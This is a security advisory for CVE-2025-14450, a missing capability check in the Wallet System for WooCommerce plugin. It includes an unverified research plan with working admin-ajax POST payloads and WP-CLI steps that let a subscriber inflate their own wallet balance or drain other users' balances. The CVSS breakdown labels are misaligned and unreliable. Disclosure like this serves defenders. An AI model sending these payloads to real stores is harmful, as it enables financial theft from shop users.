CVE-2025-14450

Wallet System for WooCommerce <= 2.7.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Wallet Balance Manipulation

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.7.3
Patched in
1d
Time to patch

Description

The Wallet System for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'change_wallet_fund_request_status_callback' function in all versions up to, and including, 2.7.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to manipulate wallet withdrawal requests and arbitrarily increase their wallet balance or decrease other users' balances.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=2.7.2
PublishedJanuary 16, 2026
Last updatedJanuary 17, 2026

What Changed in the Fix

Changes introduced in v2.7.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps required to demonstrate the arbitrary wallet balance manipulation vulnerability in the Wallet System for WooCommerce plugin. ### 1. Vulnerability Summary The `Wallet_System_AjaxHandler` class in Wallet System for WooCommerce (<= 2.7.2) registers an AJAX action `change_w…

Show full research plan

This plan outlines the steps required to demonstrate the arbitrary wallet balance manipulation vulnerability in the Wallet System for WooCommerce plugin.

1. Vulnerability Summary

The Wallet_System_AjaxHandler class in Wallet System for WooCommerce (<= 2.7.2) registers an AJAX action change_wallet_fund_request_status which maps to the change_wallet_fund_request_status_callback function. This function lacks any capability checks (e.g., current_user_can()), allowing any authenticated user (including Subscriber-level accounts) to invoke it.

The function processes wallet fund requests by accepting user-provided IDs and amounts. Because it trusts POST parameters for the target user ID and the balance amount without verifying them against the original request post, an attacker can manipulate these values to either double their own balance or decrease the balance of other users.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: change_wallet_fund_request_status
  • Method: POST
  • Authentication: Required (Subscriber or higher)
  • Vulnerable Parameter(s):
    • requesting_user_id: The ID of the user whose balance will be modified.
    • status: Must be set to approved to trigger the balance update.
    • withdrawal_balance: The amount to add (positive) or subtract (negative).
    • request_id: Required by the code but not strictly validated against the other parameters; a dummy ID or a valid post ID of any type may suffice.
  • Nonce: nonce parameter, validating the ajax-nonce action.

3. Code Flow

  1. Entry Point: includes/class-wallet-system-ajaxhandler.php registers the hook:
    add_action( 'wp_ajax_change_wallet_fund_request_status', array( &$this, 'change_wallet_fund_request_status_callback' ) );
  2. Nonce Verification: change_wallet_fund_request_status_callback calls check_ajax_referer( 'ajax-nonce', 'nonce' );.
  3. Authorization Gap: The function checks is_user_logged_in() but fails to check for administrative capabilities.
  4. Input Processing: The function retrieves requesting_user_id and withdrawal_balance directly from $_POST.
  5. Vulnerable Logic:
    if ( 'approved' == $status ) {
        $requesting_user_wallet = get_user_meta( $requesting_user_id, 'wps_wallet', true );
        $user_wallet = get_user_meta( $user_id, 'wps_wallet', true ); // current attacker's wallet
        
        if ( $user_wallet >= $withdrawal_balance ) { // Attacker just needs enough balance to "cover" the request
            $requesting_user_wallet += $withdrawal_balance;
            update_user_meta( $requesting_user_id, 'wps_wallet', $requesting_user_wallet );
        }
    }
    
  6. Sink: update_user_meta modifies the database for the targeted $requesting_user_id.

4. Nonce Acquisition Strategy

The ajax-nonce is localized in the wsfw_public_param object and is typically available on any page where the wallet UI is loaded (e.g., the My Account page or a page with a wallet shortcode).

  1. Shortcode Identification: The plugin uses the [wps-wallet] shortcode (referenced in README.txt).
  2. Page Creation: Create a temporary page with this shortcode to ensure the scripts and nonces are loaded.
  3. Navigation: Navigate to this page as the Subscriber user.
  4. Extraction: Use browser_eval to retrieve the nonce:
    window.wsfw_public_param?.nonce
    

5. Test Data Setup

  1. Victim User: A user (ID 2) with a balance of 500:
    wp user meta update 2 wps_wallet 500
  2. Attacker User: A Subscriber user (ID 3) with a balance of 100:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    wp user meta update 3 wps_wallet 100
  3. Trigger Page:
    wp post create --post_type=page --post_status=publish --post_title="Wallet" --post_content='[wps-wallet]'
  4. Valid Request ID: While the code doesn't strictly validate it, create a dummy post to be safe:
    wp post create --post_type=post --post_status=publish --post_title="Dummy" (Note the resulting ID, e.g., 10).

6. Exploitation Strategy

Scenario A: Arbitrary Balance Increase (Self)

  1. Target: Attacker (ID 3).
  2. Action: POST to admin-ajax.php.
  3. Payload:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=change_wallet_fund_request_status&nonce=[NONCE]&request_id=10&requesting_user_id=3&status=approved&withdrawal_balance=100
    
  4. Expected Effect: The balance check 100 >= 100 passes. Attacker's balance becomes 100 + 100 = 200.

Scenario B: Arbitrary Balance Decrease (Victim)

  1. Target: Victim (ID 2).
  2. Action: POST to admin-ajax.php.
  3. Payload:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=change_wallet_fund_request_status&nonce=[NONCE]&request_id=10&requesting_user_id=2&status=approved&withdrawal_balance=-100
    
  4. Expected Effect: The balance check 100 >= -100 passes. Victim's balance becomes 500 + (-100) = 400.

7. Expected Results

  • The server will return a JSON response (due to wp_send_json calls in the handler or trailing code).
  • The targeted user's wps_wallet meta value will change.
  • No "Unauthorized" or 403 error will be returned to the Subscriber.

8. Verification Steps

After performing the HTTP requests, verify the changes using WP-CLI:

# Check Attacker Balance (Scenario A)
wp user meta get 3 wps_wallet
# Expected: 200

# Check Victim Balance (Scenario B)
wp user meta get 2 wps_wallet
# Expected: 400

9. Alternative Approaches

If Scenario B (negative balance) fails due to internal sanitization (though (float) is used), try Scenario C: Transfer from Admin to Self.
If the plugin is configured to use a specific gateway for withdrawals, the request_id might need to be a post of type wallet_fund_request. You can create one via CLI:
wp post create --post_type=wallet_fund_request --post_status=publish --post_title="Request"
And use its ID in the request_id field. However, looking at the code, get_post($request_id) is called but its properties aren't used to override the $_POST values, so any valid post ID should work.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.